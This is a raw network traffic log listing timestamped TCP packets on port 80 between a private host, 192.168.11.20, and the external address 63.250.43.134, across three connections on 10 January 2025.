Jan 10, 2025 23:24:39.233131886 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.235105038 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.235275030 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.235470057 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.237483978 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.237540960 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.237726927 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.239662886 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.239816904 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.240024090 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.241950989 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.242008924 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.242216110 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.244271040 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.244328022 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.244483948 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.246455908 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.246511936 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.246690989 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.248667002 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.248816013 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.249049902 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.250823021 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.250880003 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.251048088 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.252990007 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.253160954 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.253384113 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.255172968 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.255225897 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.255398035 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.257286072 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.257332087 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.257718086 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.259438992 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.259471893 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.259644985 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.261555910 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.261600018 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.261748075 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.748410940 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:40.766124010 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:40.938344002 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:40.938541889 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:40.950822115 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:41.404319048 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:41.919750929 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:42.466520071 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:42.935123920 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.049520969 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.049814939 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.103315115 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.103390932 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.103434086 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.103530884 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.103543997 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.103593111 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.103687048 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.103728056 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.103759050 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.103840113 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.103895903 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.104017973 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.104026079 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.104068041 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.104131937 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.104203939 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.104237080 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.104341030 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.104399920 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.148231030 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.148381948 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.222374916 CET	80	49799	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.222587109 CET	49799	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.483983994 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.656546116 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.656734943 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.667946100 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.668011904 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.840780020 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.840816975 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.840845108 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.841113091 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.841404915 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.841444969 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.842711926 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.842881918 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.842947006 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.843065977 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.843215942 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.843290091 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.843333006 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.843380928 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.843468904 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.843586922 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.843611956 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.843686104 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.843745947 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:43.843796968 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:43.844000101 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.015876055 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.015979052 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.016154051 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.021897078 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.021954060 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.022171021 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.034001112 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.034085989 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.034327030 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.046091080 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.046148062 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.046416044 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.058366060 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.058422089 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.058690071 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.070332050 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.070386887 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.070611954 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.082375050 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.082429886 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.082611084 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.094413042 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.094578028 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.094791889 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.106528997 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.106584072 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.106849909 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.118638992 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.118695974 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.118941069 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.188715935 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.188870907 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.189057112 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.194737911 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.194885969 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.195167065 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.206999063 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.207055092 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.207257032 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.219014883 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.219069958 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.219285965 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.231060028 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.231215000 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.231408119 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.243124008 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.243180037 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.243431091 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.255238056 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.255390882 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.255644083 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.267272949 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.267330885 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.267551899 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.279273033 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.279329062 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.279532909 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.290299892 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.290358067 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.290555954 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.300465107 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.300574064 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.300842047 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.310118914 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.310177088 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.310369015 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.319941044 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.320009947 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.320223093 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.329560041 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.329616070 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.329833031 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.339112043 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.339168072 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.339379072 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.348747969 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.348900080 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.349212885 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.358438015 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.358493090 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.358767986 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.368093014 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.368146896 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.368376970 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.374138117 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.374192953 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.374408007 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.380189896 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.380234003 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.380470991 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.386184931 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.386265039 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.386507988 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.391933918 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.392088890 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.392282963 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.397871971 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.397927046 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.398123026 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.403722048 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.403775930 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.404051065 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.409651995 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.409708023 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.409924030 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.415519953 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.415575981 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.415807009 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.421427965 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.421483994 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.421792984 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.427311897 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.427367926 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.427584887 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.433170080 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.433226109 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.433475018 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.439043045 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.439099073 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.439343929 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.444941998 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.444998026 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.445194006 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.450803041 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.450856924 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.451061010 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.456749916 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.456912994 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.457166910 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.462718010 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.462771893 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.463016987 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.468491077 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.468614101 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.468777895 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.474432945 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.474488020 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.474734068 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.480180979 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.480237007 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.480449915 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.485865116 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.486010075 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.486190081 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.491647005 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.491702080 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.491959095 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.497148991 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.497203112 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.497442007 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.502506971 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.502563000 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.502810955 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.507797003 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.507852077 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.508137941 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.513068914 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.513124943 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.513366938 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.518254042 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.518310070 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.518527985 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.523336887 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.523392916 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.523611069 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.528203964 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.528307915 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.528476000 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.533298969 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.533413887 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.533612967 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.538245916 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.538475990 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.538707972 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.543133020 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.543236971 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.543412924 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.546889067 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.546989918 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.547224045 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.550649881 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.550785065 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.550992966 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.554363966 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.554456949 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.554673910 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.557888031 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.557991028 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.558156013 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.561420918 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.561525106 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.561691999 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.565016031 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.565114975 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.565305948 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.568309069 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.568418980 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.568671942 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.571639061 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.571741104 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.571927071 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.574940920 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.575045109 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.575242043 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.578272104 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.578376055 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.578578949 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.581542015 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.581631899 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.581868887 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.584702969 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.584933996 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.585102081 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.587995052 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.588099003 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.588342905 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.591006041 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.591115952 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.591358900 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.594078064 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.594121933 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.594283104 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.597130060 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.597223043 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.597390890 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.600146055 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.600250959 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.600521088 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.603056908 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.603154898 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.603395939 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.605933905 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.606036901 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.606220961 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.608782053 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.609009981 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.609338045 CET	49800	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:44.611664057 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.611771107 CET	80	49800	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:44.612009048 CET	49800	80	192.168.11.20	63.250.43.134
